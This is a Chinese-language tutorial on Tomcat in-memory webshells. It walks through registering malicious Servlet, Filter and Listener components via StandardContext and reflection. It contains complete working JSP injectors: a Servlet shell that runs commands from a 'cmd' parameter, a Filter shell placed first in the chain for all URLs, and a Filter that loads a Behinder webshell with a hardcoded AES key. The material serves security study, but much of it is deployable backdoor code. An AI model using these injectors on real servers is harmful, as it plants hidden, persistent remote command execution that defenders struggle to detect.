# 前言
内存马主要分为以下几类:
- servlet-api 类
- filter 型
- servlet 型
- spring 类
- 拦截器
- controller 型
- Java Instrumentation 类
- agent 型
我们这里作为初学内存马萌新,只讨论 servlet-api 类型的内存马。
Q:内存马是什么?
A:对于 servlet-api 类其实就是恶意的 Fileter、Servlet、Listen 之类的 web 组件。
Q:怎么把内存马给注入进目标服务器?
A:JSP 文件(jsp 的本质就是 servlet,在访问时 tomcat 会将.jsp 文件翻译成一个 Servlet)、命令执行 javaagent、反序列化注入。下面我们的代码测试样例都是用 JSP 来注入的。
Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立 ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create 方法来实现动态注册的功能。**
而在 tomcat 中,我们用到的是 standardContext 这个对象去注册我们的 Servlet、Filtet、Listen 等组件。
这也是 tomcat 内存马的核心 API。
# 参考链接
achuna33/Memoryshell-JavaALL: 收集内存马打入方式 (github.com)
JavaWeb 内存马一周目通关攻略 | 素十八 (su18.org)
Tomcat 内存马学习 (二):结合反序列化注入内存马 – 天下大木头 (wjlshare.com)
http://moonflower.fun/index.php/2022/02/21/277/
Tomcat 内存马学习 - bmth (bmth666.cn)
Tomcat Filter 内存马实现 | T1melo0per'blog
# Tomcat 基础
Tomcat Filter 内存马实现 | T1melo0per'blog
每个 Wrapper 实例表示一个具体的 Servlet 定义,StandardWrapper 是 Wrapper 接口的标准实现类(StandardWrapper 的主要任务就是载入 Servlet 类并且进行实例化)
# Servlet 类型内存马
这种类型的内存马很简单,就是动态创建一个 Servlet 即可,具体原理也不复杂。
但这种使用新增 servlet 的方式就需要绑定指定的 URL。因此如果我们想要更加隐蔽,做到内存马与 URL 无关就得通过注入新的或修改已有的 filter 或者 listener 的方式来实现了
# 实现例子
这里我们先别管原理,先试试我们怎么去注册一个内存马,然后试试效果。这里我演示的是动态创建一个 Servlet 内存马。
具体流程就是创建一个恶意的 Servlet,然后获取当前的 StandardContext,然后将恶意 servlet 封装成 wrapper 添加到 StandardContext 的 children 当中,最后添加 ServletMapping 将访问的 URL 和 wrapper 进行绑定
这里我们使用 JSP 来注入。如下,只要在目标 web 访问该 JSP 就会注册一个内存马,其映射地址为 shell,对应的 Servlet 名为 aaaa。
<%@ page import="java.util.Scanner" %> | |
<%@ page import="java.io.*" %> | |
<%@ page import="javax.servlet.http.*" %> | |
<%@ page import="org.apache.catalina.core.StandardContext" %> | |
<%@ page import="org.apache.catalina.Wrapper" %> | |
<%@ page import="java.lang.reflect.Field" %> | |
<%@ page contentType="text/html;charset=UTF-8" language="java" %> | |
<% | |
class ServletShell extends HttpServlet { | |
private String message; | |
@Override | |
public void init() { | |
message = "Hello World!"; | |
} | |
@Override | |
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { | |
response.setContentType("text/html"); | |
PrintWriter out = response.getWriter(); | |
String cmd = request.getParameter("cmd"); | |
if(cmd != null){ | |
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); | |
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); | |
String result = scanner.hasNext() ? scanner.next() : ""; | |
out.println(result); | |
} | |
} | |
@Override | |
public void destroy() { | |
} | |
} | |
ServletShell servletShell = new ServletShell(); | |
%> | |
<% | |
PrintWriter printWriter = response.getWriter(); | |
String name ="aaaa"; | |
ServletContext servletContext = request.getServletContext(); | |
// 查看是否存在名为 aaaa 的 servlet | |
if (servletContext.getServletRegistration(name) == null) { | |
StandardContext o = null; | |
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 | |
while (o == null) { | |
Field f = servletContext.getClass().getDeclaredField("context"); | |
f.setAccessible(true); | |
Object object = f.get(servletContext); | |
if (object instanceof ServletContext) { | |
servletContext = (ServletContext) object; | |
} else if (object instanceof StandardContext) { | |
o = (StandardContext) object; | |
} | |
} | |
Wrapper newWrapper = o.createWrapper(); | |
newWrapper.setName(name); | |
newWrapper.setLoadOnStartup(1); | |
newWrapper.setServlet(servletShell); | |
// 向 children 中添加 Wrapper | |
o.addChild(newWrapper); | |
// 添加 servlet 的映射 | |
o.addServletMappingDecoded("/shell", name); | |
printWriter.println("servlet added"); | |
} | |
%> |
# 流程分析
前面我们很简单的就完成了一个内存马的注入。但实际上我们还是需要跟一下它的流程的。
其中大概流程就是:
①创建一个恶意 Servlet
②通过 Servlet 3.0 API 中的 add*/create * 放到进行动态注册。
而我们恶意 Servlet 的创建我们就不多介绍了,没上面难度。主要是讲怎么动态注册这个 Servlet。
# StandardContext 对象获取
(5 条消息) ServletContext (源码分析)_以码平川的博客 - CSDN 博客_servletcontext 源码
Java 内存马:一种 Tomcat 全版本获取 StandardContext 的新方法 - bitterz | CN-SEC 中文网
恶意 Servlet 的创建就不用多说了,没什么难度和疑难点。
Q:在用之前,先了解 StandardContext 是什么,为什么要获取它。
A:从前面 Tomcat 的架构我们得知:
一方面我们针对的其实是当前的 Context 进行内存马注入,所以我们就需要获取到当前的 context,而这个 context 其实就是 StandardContext。
另一方面 ServletContext 虽然提供了动态注册的 api 但它只是一个接口,而在 tomcat 中 createServlet 和 addServlet 的具体实现都是由 StandardContext 这个对象完成的。
简单的跟下代码
我们这里跟下 ApplicationContext 这个实现类的 addServlet 方法,可以看到,这下面最终还是在调用 StandContext 里面的方法。ApplicationContext 只不过是对 StandContext 的封装。
Q:standardContext 对象在哪?
A: 在 Servlet 中有九大内置对象,其中 standardContext 就存在 apllication(ServletContext) 对象中。
但 ServletContext 只是一个接口,具体的实现还要看具体的容器是怎么实现的,
而在 Tomcat 中就是在 ApplicationContext 类当中。
Q: 怎么获取 standardContext 对象
A:上一个 QA 中提了,standardContext 在 ServletContext 对象中,那我们从这个对象中把它提取出来即可。我们先贴出获取代码,再进行分析。
从代码中我们可以看到,第一步是获取 ServletContext 对象,随后就是通过 while 来循环获取 StandContext 对象。
至于为什么这么做,我们简单的跟下代码就懂了。
我们第一步获取到的其实是一个 ApplicationContextFacade 对象,这个对象的 context 属性是 ApplicationContext 的实例,而 ApplicationContext 对象的 context 属性才是我们的目标 standardContext 对象。
也就是说,我们从 ServletContext 到 standardContext 的流程如下:
ServletContext 接口 ->ApplicationContextFacade 实现类 ->ApplicationContext 实现类 ->standardContext 对象。
# 动态注册 Servlet 内存马
这里就是怎么将我们的恶意 servlet 内存马给注册到内存中了。其实就是调用 StandardContext 对象的某些方法即可。这里我们在前面 StandardContext 对象第一个 QA 中就提到过,至于为什么我们不直接用 ServletContext 的 add 接口是因为 ServletContext 添加 servlet 只能在在 Web 容器初始化的时候(即建立 ServletContext 对象的时候)进行动态注册。直接用的话是无法注册的,如图:
因此我们只能直接用 StandardContext 这个底层对象去动态注册我们的 Servlet。
后面的就不做详细分析,这里简单讲讲就行:根据前面的 tomcat 架构,StandardContext 对象下面的是 Wrapper 对象,因此这里需要把先把恶意的 Servlet 封装成 wrapper 再添加到 StandardContext 的 children 当中才完成注册了一个 Servlet。
从 ApplicationContext 的 addServlet 方法把核心内容提取出来就得到如下注册的代码:
# 将注册成功的 Servlet 进行 URL 映射
这里前面只是完成了 Servlet 的注册,但想要访问还需要进行 URL 绑定映射,
因此最后需要通过 ServletMapping 将访问的 URL 和 wrapper 进行绑定即可。
# Filter 类型内存马
https://t1melo0per.github.io/2022/04/27/memshell-filter/
http://wjlshare.com/archives/1529
https://su18.org/post/memory-shell/#filter-%E5%86%85%E5%AD%98%E9%A9%AC
可以看到 Filter 的作用其实就是拦截请求,过滤响应。它在 Servlet 之前生效。
因此我们内存马的另一种思路就是新增一个恶意的 Filter,将其放在 Filter 链的最开头,这样我们就可以在不新增 Servlet 的情况下,注入了一个内存马,从而更加隐蔽。
我们下面分析流程还是和 Servlet 差不多,从创建 Filter 到注册到绑定。
# 实现恶意 Filter
首先,我们先去实现一个恶意的 Filter,这里其实直接把我们的恶意 Servlet 的代码搬过来就完事了。
最终我们实现的效果就是带上参数 cmd 才会进入到命令执行逻辑,否则就跳转到正常页面。
# 动态注册 Filter
接着我们就看看怎么动态注册 Filter 并且把我们的恶意 Filter 给排到 Filter 链的最前了。
我们老样子,跟下流程,直接来到 ApplicationContext 的 addFilter 方法。
其中的核心代码就是这块。大致流程就是利用 FilterDef 对 Filter 进行一个封装,然后 filtrDef 进行一些属性的赋值(Filter 名,Filter 的 Class 等等)。
因此我们提取出来,就得到如下动态注册 Filter 的代码。
# 分析如何绑定 Filter 到 chain 的最开头并让其生效
上面我们也只是实现了 Filter 的注册而已,实际上我们并没有把这个 Filter 给用起来。并且我们对怎么把这个 Filtet 放到 Chain 的最开头也不清楚。
因此我们想要知道怎么去操作就得分析下正常 Filter 的调用流程。
根据 tomcat 的流程和我们前面的分析,可以得知 Tomcat 的 web 启动后在初始化 Context 的时候会调用 StandardContext 来实现部分功能,所以 Filter 的初始化应该也是在这个类中完成。这里我们发现一个 filterStart 方法,所以我们就从这个方法入手上断点开始追踪。
我们直接上断点分析,可以看到大概流程
这里应该是先执行了 addfilter 等到所有的 filter 都被封装成 filterDef 并存储到 filterDefs 后才到 filterStart 这个方法(逻辑上也应该如此),而在这个方法当中,我们可以看到,它把 filterDef 重新提取了出来了,对其再进行了一层封装,然后又如法炮制塞到了 filterConfigs 当中。
因此这里我们可以得知只要将 Filter 封装成 FilterDef,再向上封装成 FilterConfig,放入 StandardContext 对象的 FilterConfigs 就能够动态注册并启动我们的 filter。
但问题来了,url 绑定在哪呢??这里已经是最后的一步了,所以我觉得 URL 配置肯定就在这个 filterConfig 对象里面,我们查看它的结构
最终在 filterConfig.context.filterMaps 中找到了 url 配置。
接着我们就需要找这个值是怎么赋予给 filterConfig 的,本来是需要跟进这个 ApplicationFilterConfig 的,但我发现这里的参数 this 就是 context,所以没必要跟进了(这层封装就只是简单的把 standardContext 和 filterDef 给粘合到一块而已)。
其实到这里思路就很清晰了,我们只需要以下操作即可:
①把我们的恶意 Filter 封装成 FilterDef,动态注册成 filter。(这一步上面已经完成了)
②为我们恶意 Filter 构造 FilterMap(这一步就是 urlpattern 绑定)
③把 FilterDef 和 FilterMap 一块向上封装成 FilterConfig(利用反射获取 ApplicationFilterConfig 对象,调用私有构造方法)
④最后 put 进 StandardContext 对象的 FilterConfigs 即可。(利用反射获取 StandardContext 对象的 FilterConfigs 属性,然后 put 进去)
但我们是不是还忘记了什么!没错,怎么把我们的这个 Filter 给放到 FilterChain 的最前面呢??
这里我们发现 StandardContext 有一个名为 addFilterMapBefore 的方法,也就是说调用这个方法就能够让我们的 Filter 放到最前。
查看里面的具体代码,不难看出大致就是把我们的 filterMap 给放到 filterMaps 这个数组的最前面。
而我们知道 put 进 FilterConfigs 其实就是启动 Filter 了。因此这一步肯定是在这之前完成的。因此我们最终整合步骤如下:
①把我们的恶意 Filter 封装成 FilterDef,动态注册成 filter。(这一步上面已经完成了)
②为我们恶意 Filter 构造 FilterMap(这一步就是 urlpattern 绑定)
③调用 StandardContext 的 addFilterMapBefore 方法,把我们的 FilterMap 给放到 FilterMaps 最前面。
④把 FilterDef 和 FilterMap 一块向上封装成 FilterConfig,
⑤最后 put 进 StandardContext 对象的 FilterConfigs 即可。(利用反射获取 StandardContext 对象的 FilterConfigs 属性,然后 put 进去)
# 为恶意 Filter 构造 FilterMap
在这之前,先看看我们的目标 FilterMaps 需要什么属性。
这里我们可以看到,比较关键的是这个 filterName 和 URLPatterns 还有 dispatcherMapping (其他参数在 FilterMap 类中都是默认值或者说是私有属性,并且没有相应的方法能操控)
然后需要了解怎么去构造,就需要进入到 FilterMap 这个类查看它的方法和属性,分析它是怎么封装的。我们关注的三个属性虽然是私有属性,但幸好我们有对应的方法能操控,不然只能上反射了。
其中需要提一下的只有 dispatcherMapping 这个属性的赋值方法 setDispatcher。
在之前我们需要先了解 dispatcher 是什么,看下面,其实不难理解,就是这个请求是怎么来的?内部请求还是用户真实的请求,也就是说我们的过滤器不只是可以 url 的作用范围,还能设置请求方式(注意:不是 http 方法)的范围。
可以看到,这个方法其实就是设置我们的 dispatcher 是什么类型的,我们自然是要 REQUEST 类型的。
而我们简单看下方法,很明显了只要让参数等于 DispatcherType.REQUEST.name () 就实现我们的目的了。(虽然上图中说默认情况下它的值是 REAUEST,但在代码中它初始值是 NOT_SET)
尝试一下进行封装,差不多就是这样。
# 使用 addFilterMapBefore 把我们的链放到最前
紧接着就是把我们的这个 filter 放到代理链的最前了,我们再看看这个方法
一共就三行代码,第一行是验证我们的 FilterMap 的,第二行则是把它加到 filterMaps 中,最后一个是
去通知所有容器事件侦听器此容器发生了添加 FilterMap 事件。
其实没什么好提取的,我们直接调用就行了。
# 把 FilterDef 和 FilterMap 一块向上封装成 FilterConfig
这里封装本来想直接调用 ApplicationFilterConfig 类,但很可惜,这个类不是 public 类,因此我们只能通过反射来获取它,再调用它的私有构造器了。
# 最后 put 进 StandardContext 对象的 FilterConfigs 即可
最后,我们只差一步,这里只需要拿到 StandardContext 的 filterConfigs 对象,然后 put 我们的 filterconfig 进去即可。
同样的需要用反射来完成。
# 最终代码
然后我们把上面各个部分进行整合,再优化一下就得到如下内存马:
我们这里提前获取 FilterConfigs,用于判断 Filter 名字有没有冲突。
<%-- | |
Created by IntelliJ IDEA. | |
User: momo | |
Date: 2022/11/14 | |
Time: 13:12 | |
To change this template use File | Settings | File Templates. | |
--%> | |
<%@ page import="java.util.Scanner" %> | |
<%@ page import="java.io.*" %> | |
<%@ page import="javax.servlet.http.*" %> | |
<%@ page import="org.apache.catalina.core.StandardContext" %> | |
<%@ page import="org.apache.catalina.Wrapper" %> | |
<%@ page import="java.lang.reflect.Field" %> | |
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> | |
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> | |
<%@ page import="java.lang.reflect.Constructor" %> | |
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> | |
<%@ page import="org.apache.catalina.Context" %> | |
<%@ page import="java.util.HashMap" %> | |
<%@ page contentType="text/html;charset=UTF-8" language="java" %> | |
<% | |
class EvilFilter implements Filter { | |
@Override | |
public void init(FilterConfig config) throws ServletException { | |
} | |
@Override | |
public void destroy() { | |
} | |
@Override | |
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { | |
response.setContentType("text/html"); | |
PrintWriter out = response.getWriter(); | |
String cmd = request.getParameter("cmd"); | |
if(cmd != null){ | |
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); | |
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); | |
String result = scanner.hasNext() ? scanner.next() : ""; | |
out.println(result); | |
return; | |
} | |
chain.doFilter(request, response); | |
} | |
} | |
EvilFilter evilFilter = new EvilFilter(); | |
%> | |
<% | |
String name ="evilFilter2"; | |
PrintWriter printWriter = response.getWriter(); | |
// 获取 ServletContext 对象 (得到的其实是 ApplicationContextFacade 对象) | |
ServletContext servletContext = request.getServletContext(); | |
StandardContext standardContext = null; | |
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 | |
while (standardContext == null) { | |
// 因为是 StandardContext 对象是私有属性,所以需要用反射去获取 | |
Field f = servletContext.getClass().getDeclaredField("context"); | |
f.setAccessible(true); | |
Object object = f.get(servletContext); | |
if (object instanceof ServletContext) { | |
servletContext = (ServletContext) object; | |
} else if (object instanceof StandardContext) { | |
standardContext = (StandardContext) object; | |
} | |
} | |
// 通过反射获取 StandardContext 对象的 filterConfigs 属性 | |
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); | |
filterConfigsField.setAccessible(true); | |
HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext); | |
if (filterConfigs.get(name) == null){ | |
// 将 evilFilter 封装成 FilterDef | |
FilterDef filterDef = new FilterDef(); | |
filterDef.setFilterName(name); | |
filterDef.setFilterClass(evilFilter.getClass().getName()); | |
filterDef.setFilter(evilFilter); | |
// 动态注册 Filter | |
standardContext.addFilterDef(filterDef); | |
// 为恶意 Filter 构造 FilterMap | |
FilterMap filterMap = new FilterMap(); | |
filterMap.setFilterName(name); | |
filterMap.addURLPattern("/*"); | |
filterMap.setDispatcher(DispatcherType.REQUEST.name()); | |
// 将我们的 filterMap 放到最前 | |
standardContext.addFilterMapBefore(filterMap); | |
// 通过反射调用 ApplicationFilterConfig 将 filterDef 和 FilterMap 向上一块封装成 FilterConfig | |
Constructor filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); | |
filterConfigConstructor.setAccessible(true); | |
FilterConfig filterConfig =(FilterConfig) filterConfigConstructor.newInstance(standardContext,filterDef); | |
filterConfigs.put(name,filterConfig); | |
printWriter.println("inject success"); | |
}else { | |
printWriter.println("wrong,web was have "+name+" filter,pleas change a name"); | |
} | |
%> |
最终效果如下:
# Listen 类型内存马
https://www.cnblogs.com/yyhuni/p/15512792.html#servletrequestlistener%E6%8E%A5%E5%8F%A3
https://www.cnblogs.com/zpchcbd/p/15154256.html
Tomcat 容器攻防笔记之 Listener 内存马 - 安全客 - 安全资讯平台 (anquanke.com)
Tomcat Listener 型内存马流程理解与手写 EXP - 腾讯云开发者社区 - 腾讯云 (tencent.com)
和 Filter 一样,Listen 也是能够用来做内存马的。
大概流程如下:
①新建一个继承 ServletRequestLisner 接口的监听器并在 requestInitialized 方法中实现我们想要的任意功能(实现恶意 Filter)
②将该实例添加到 StandardContext 的 ApplicationEventListeners 变量。(相当于注册恶意 Filter)
# 实现恶意 Liesten
老样子,我们需要先实现一个恶意的 LIsten,而 Listen 有很多实现类,我们查看全部 Listen,选一个比较适合我们的,因为我们要找的是一个 Tomcat 解析了请求后但仍未响应的中间环节的 Listen,所以我们理所当然就用这个 ServletRequestListener 。
这里比较麻烦的是怎么获取我们的输出,大概就是通过反射去获取当前这个 requests,然后通过这个 requests 的 getResponse 方法来得到输出结果。具体原理看链接
https://www.anquanke.com/post/id/226769
这里主要是因为 ServletRequest 只是个接口,而且不含 getResponse,所以我们不能在代码中直接这么写。
而当在真正的 tomcat 请求中,这个 request 就会封装成 ServletRequest 接口的实现类 RequestFacade,然后就存在着 getResponse 方法,从而能输出结果。
# 注册 Listen
接着我们就需要考虑怎么去注册 Listen。老样子还是去看 StandardContext 对象,我们查看和 listen 有关的方法。其中我们不关注 Lifecycle Listen,因为它们多用于 Tomcat 初始化启动阶段,那时客户端的请求还没进入解析阶段,也就是说不能通过请求,随心所欲根据我们的输入执行命令。
根据正常流程,tomcat 想要调用一个 listen,肯定是先去寻找 listen,所以我们先到 findApplicationLisetners 打个断点看看情况,最终我们找到了它的上层调用 listenerStart。
随后我们分析它干了什么,感觉这里是把我们的 listen 给放到了一个数组,然后调用设置监听器的方法,那是不是如果我们把新增的监听器给放进去就能注册成功并启用了?
再向上推一下,这个 getApplicationEventListeners 其实就是去读 StandContext 的 applicationEventListenersList 属性而已,虽然这个属性是私有属性,但没关系,我们很快的就发现,存在一个方法直接添加。所以很明朗了,直接调用这个方法把我们的恶意 Listen 加进去就能成功注册 listen 内存马。
我们尝试一下~大成功。
# 拿个冰蝎 webshell 做做测试
既然是内存马,那自然的,就要是 webshell,只是执行命令不满足我们的要求。
其实就是让我们的恶意 Filter、Servlet、Listen 执行我们的 webshell 代码而已。下面我注册的是一个 Filter 类型的。
注入冰蝎内存马实现 | 藏青's BLOG (cangqingzhe.github.io)
https://www.cnblogs.com/zpchcbd/p/16547770.html
https://xz.aliyun.com/t/10696#toc-4
具体原理我就不细究了,这里我只简单的提一下,直接用肯定是不行的。因为默认的是 jsp 马,而在 jsp 中是存在很多默认的变量的。如下图,原本的 jspshell 中它这个 pageContext 没有定义,因为这是 jsp 的默认上下文,但如果我们注册在内存中,就不是 jsp 了,自然没有这个上下文,导致报错。因此如果想要注册成功我们就得需要去获取上下文。同样的其实还有 request 这个变量。总之,现在我们的目标是怎么获取 request 和 pageContext。
在冰蝎 3.0 bata7 之后不再依赖 pageContext 对象,只需给在 equal 函数中传递的 object 对象中,有 request/response/session 对象即可,所以此时我们可以把 pageContext 对象换成一个 Map,手动添加这三个对象即可
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
因此我们的目标变成了怎么去获取 request、response 和 session。
Filter 中默认参数是 ServletRequest 接口,没有获取 session 的方法,所以需要对其进行强转,再获取。随后再构造 pageContext 就完事了。
代码如下
最终代码如下:注意,我这里做了个特定要求,只有存在参数 cmd=ccc 的时候才执行我们的 webshell 逻辑。
<%@ page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %> | |
<%@ page import="org.apache.catalina.core.StandardContext" %> | |
<%@ page import="java.lang.reflect.Field" %> | |
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> | |
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> | |
<%@ page import="java.lang.reflect.Constructor" %> | |
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> | |
<%@ page import="org.apache.catalina.Context" %> | |
<%@ page import="java.util.HashMap" %> | |
<%@ page import="java.security.NoSuchAlgorithmException" %> | |
<%@ page import="java.lang.reflect.InvocationTargetException" %> | |
<%@ page import="java.security.InvalidKeyException" %> | |
<%@ page contentType="text/html;charset=UTF-8" language="java" %> | |
<% | |
class EvilFilter implements Filter { | |
@Override | |
public void init(FilterConfig config) throws ServletException { | |
} | |
@Override | |
public void destroy() { | |
} | |
@Override | |
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { | |
if ("ccc".equals(request.getParameter("cmd"))) { | |
// 给它做个类型强转,以便获取 session | |
HttpServletRequest req = (HttpServletRequest) request; | |
HttpSession session = req.getSession(); | |
// 塞进 pageContext 就完事了 | |
HashMap pageContext = new HashMap(); | |
pageContext.put("request",req); | |
pageContext.put("response",response); | |
pageContext.put("session",session); | |
class U extends ClassLoader { | |
U(ClassLoader c) { | |
super(c); | |
} | |
public Class g(byte[] b) { | |
return | |
super.defineClass(b, 0, b.length); | |
} | |
} | |
if (true) { | |
ByteArrayOutputStream bos = new ByteArrayOutputStream(); | |
byte[] buf = new byte[512]; | |
int length = request.getInputStream().read(buf); | |
while (length > 0) { | |
byte[] data = Arrays.copyOfRange(buf, 0, length); | |
bos.write(data); | |
length = request.getInputStream().read(buf); | |
} | |
String k = "e45e329feb5d925b"; | |
Cipher c = null; | |
try { | |
c = Cipher.getInstance("AES/ECB/PKCS5Padding"); | |
} catch (NoSuchAlgorithmException e) { | |
e.printStackTrace(); | |
} catch (NoSuchPaddingException e) { | |
e.printStackTrace(); | |
} | |
try { | |
c.init(2, new SecretKeySpec(k.getBytes(), "AES")); | |
} catch (InvalidKeyException e) { | |
e.printStackTrace(); | |
} | |
byte[] decodebs = new byte[0]; | |
Class baseCls = null; | |
try { | |
baseCls = Class.forName("java.util.Base64"); | |
Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null); | |
decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{bos.toByteArray()}); | |
} catch (Throwable e) { | |
System.out.println("444444"); | |
try { | |
baseCls = Class.forName("sun.misc.BASE64Decoder"); | |
} catch (ClassNotFoundException classNotFoundException) { | |
classNotFoundException.printStackTrace(); | |
} | |
Object Decoder = null; | |
try { | |
Decoder = baseCls.newInstance(); | |
} catch (InstantiationException instantiationException) { | |
instantiationException.printStackTrace(); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
try { | |
decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(bos.toByteArray())}); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} catch (InvocationTargetException invocationTargetException) { | |
invocationTargetException.printStackTrace(); | |
} catch (NoSuchMethodException noSuchMethodException) { | |
noSuchMethodException.printStackTrace(); | |
} | |
} | |
byte[] kaaa = new byte[0]; | |
try { | |
kaaa = c.doFinal(decodebs); | |
} catch (IllegalBlockSizeException e) { | |
e.printStackTrace(); | |
} catch (BadPaddingException e) { | |
e.printStackTrace(); | |
} | |
try { | |
new U(this.getClass().getClassLoader()).g(kaaa).newInstance().equals(pageContext); | |
} catch (InstantiationException e) { | |
e.printStackTrace(); | |
} catch (IllegalAccessException e) { | |
e.printStackTrace(); | |
} | |
} | |
} | |
chain.doFilter(request, response); | |
} | |
} | |
EvilFilter evilFilter = new EvilFilter(); | |
%> | |
<% | |
String name ="evilFilter2"; | |
PrintWriter printWriter = response.getWriter(); | |
// 获取 ServletContext 对象 (得到的其实是 ApplicationContextFacade 对象) | |
ServletContext servletContext = request.getServletContext(); | |
StandardContext standardContext = null; | |
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 | |
while (standardContext == null) { | |
// 因为是 StandardContext 对象是私有属性,所以需要用反射去获取 | |
Field f = servletContext.getClass().getDeclaredField("context"); | |
f.setAccessible(true); | |
Object object = f.get(servletContext); | |
if (object instanceof ServletContext) { | |
servletContext = (ServletContext) object; | |
} else if (object instanceof StandardContext) { | |
standardContext = (StandardContext) object; | |
} | |
} | |
// 通过反射获取 StandardContext 对象的 filterConfigs 属性 | |
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); | |
filterConfigsField.setAccessible(true); | |
HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext); | |
if (filterConfigs.get(name) == null){ | |
// 将 evilFilter 封装成 FilterDef | |
FilterDef filterDef = new FilterDef(); | |
filterDef.setFilterName(name); | |
filterDef.setFilterClass(evilFilter.getClass().getName()); | |
filterDef.setFilter(evilFilter); | |
// 动态注册 Filter | |
standardContext.addFilterDef(filterDef); | |
// 为恶意 Filter 构造 FilterMap | |
FilterMap filterMap = new FilterMap(); | |
filterMap.setFilterName(name); | |
filterMap.addURLPattern("/*"); | |
filterMap.setDispatcher(DispatcherType.REQUEST.name()); | |
// 将我们的 filterMap 放到最前 | |
standardContext.addFilterMapBefore(filterMap); | |
// 通过反射调用 ApplicationFilterConfig 将 filterDef 和 FilterMap 向上一块封装成 FilterConfig | |
Constructor filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); | |
filterConfigConstructor.setAccessible(true); | |
FilterConfig filterConfig =(FilterConfig) filterConfigConstructor.newInstance(standardContext,filterDef); | |
filterConfigs.put(name,filterConfig); | |
printWriter.println("inject success"); | |
}else { | |
printWriter.println("wrong,web was have "+name+" filter,pleas change a name"); | |
} | |
%> |